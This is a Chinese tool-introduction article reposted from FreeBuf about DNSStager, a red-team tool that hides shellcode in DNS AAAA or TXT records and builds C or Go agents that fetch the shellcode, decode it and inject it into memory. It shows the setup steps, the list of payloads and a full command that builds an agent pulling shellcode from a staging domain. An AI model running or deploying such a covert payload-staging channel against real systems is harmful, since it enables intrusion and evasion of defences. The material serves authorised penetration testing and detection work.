前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用DNSStager在DNS中隐藏Payload

使用DNSStager在DNS中隐藏Payload

作者头像
FB客服
发布2021-09-16 11:29:18
1.1K0
发布2021-09-16 11:29:18
举报
文章被收录于专栏:FreeBufFreeBuf

关于DNSStager

DNSStager是一个基于Python开发的开源项目,可以帮助广大研究人员使用DNS来隐藏和传输Payload。

DNSStager可以创建一个恶意DNS服务器,并负责处理我们域名相关的DNS请求,然后将Payload隐藏在响应中的指定记录请求中,比如说“AAAA”记录或“TXT”记录,而且DNSStager还会使用各种不同的算法来对Payload进行编码。

DNSStager能够生成基于C或Golang的自定义代理,主要负责解析一系列域名、获取Payload、解码Payload,并将其注入至内存中。

我们也可以根据自己的需要编辑DNSStager代理的代码。并使用自定义执行技术来构建代码。

DNSStager的主要目标就是帮助红队人员或渗透测试人员使用DNS作为隐蔽信道来传输Payload。

运行机制

根据你的DNS解析选项,DNSStager会对你的Payload进行分块,并将每一块以子域名响应的形式进行存储。

比如说,你选择使用IPv6选项来获取Payload,那么DNS响应将如下所示:

代码语言:javascript
复制
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

其中的“5648:31d2:6548:8b52:6048:8b52:1848:8b52”就是Payload的一部分。

因此,代理将会解析某些域名来获取Payload,然后对其进行解码,最终将其注入至内存中。

当前版本的DNSStager仅支持两种记录,即“AAAA”记录和“TXT”记录,你可以使用异或计算来对Payload进行编码(AAAA记录),如果你选择的是TXT记录的话,默认会使用Base64来进行编码。

DNSStager核心功能

在IPv6记录中隐藏和解析Payload;

在TXT记录中隐藏和解析Payload;

使用异或编码器编码Payload;

使用Base64编码器编码Payload;

纯C开发的代理,支持自定义配置;

纯Golang开发的代理,支持自定义配置;

支持在每个DNS请求间隔一定休眠时间;

更多功能即将上线…

工具要求

我们可以使用下列命令来安装DNSStager所需的Python依赖:

代码语言:javascript
复制
pip3 install -r requirements.txt

我们还需要安装Golang v1.16.3环境,并确保安装好了下列Golang包:

golang.org/x/sys github.com/miekg/dns

除此之外,还需要安装好ming-w64:

代码语言:javascript
复制
apt install mingw-w64

工具安装

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/mhaskar/DNSStager

接下来,我们还需要使用下列命令安装所需的依赖组件:

代码语言:javascript
复制
pip3 install -r requirements.txt

安装完成之后,我们以root用户执行DNSStager便可看到如下所示的界面:

代码语言:javascript
复制
┌─[askar@hackbook]─[/opt/redteaming/DNSStager]

└──╼ $sudo ./dnsstager.py







██████╗░███╗░░██╗░██████╗░██████╗████████╗░█████╗░░██████╗░███████╗██████╗░

██╔══██╗████╗░██║██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝░██╔════╝██╔══██╗

██║░░██║██╔██╗██║╚█████╗░╚█████╗░░░░██║░░░███████║██║░░██╗░█████╗░░██████╔╝

██║░░██║██║╚████║░╚═══██╗░╚═══██╗░░░██║░░░██╔══██║██║░░╚██╗██╔══╝░░██╔══██╗

██████╔╝██║░╚███║██████╔╝██████╔╝░░░██║░░░██║░░██║╚██████╔╝███████╗██║░░██║

╚═════╝░╚═╝░░╚══╝╚═════╝░╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝░╚═════╝░╚══════╝╚═╝░░╚═╝



    Beta Version                           Hide your payload in DNS



[-] Please specify a domain name using --domain

工具使用

代码语言:javascript
复制
┌─[askar@hackbook]─[/opt/redteaming/DNSStager]

└──╼ $sudo ./dnsstager.py -h

usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX]

                    [--payload PAYLOAD] [--output OUTPUT]

                    [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY]

                    [--sleep SLEEP]



DNSStager main parser



optional arguments:

  -h, --help            show this help message and exit

  --domain DOMAIN       The domain you want to use as staging host

  --payloads            show all payloads

  --prefix PREFIX       Prefix to use as part of your subdomain schema

  --payload PAYLOAD     Payload to use, see --payloads for more details

  --output OUTPUT       Agent output path

  --shellcode_path SHELLCODE_PATH

                        Shellcode file path

  --xorkey XORKEY       XOR key to encode your payload with

  --sleep SLEEP         sleep for N seconds between each DNS request

DNSStager Payload

如需查看可用的DNSStager Payload,我们可以使用“./dnsstager.py —payloads”命令:

代码语言:javascript
复制
┌─[askar@hackbook]─[/opt/redteaming/DNSStager]

└──╼ $sudo ./dnsstager.py --payloads



[+] 6 DNSStager payloads Available



x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code

x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code

x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code

x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code

x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code

x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

DNSStager的IPv6记录使用样例

下面的例子中,我们将使用DNSStager并以IPv6记录作为信道来解析Payload,域名为“test.mydnsserver.live”,前缀为“cloud-srv-”,生成的代理为已编译的“x64 C”,使用了“0x10”作为密钥来进行编码:

代码语言:javascript
复制
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

输出结果:

如需检测一切是否正常,可以向“cloud-srv-0.test.mydnsserver.live”发送DNS查询请求:

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

项目地址

DNSStager:【点击阅读原文】

参考资料

https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于DNSStager
  • 运行机制
  • DNSStager核心功能
  • 工具要求
  • 工具安装
  • 工具使用
  • DNSStager Payload
  • DNSStager的IPv6记录使用样例
  • 许可证协议
  • 项目地址
  • 参考资料
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档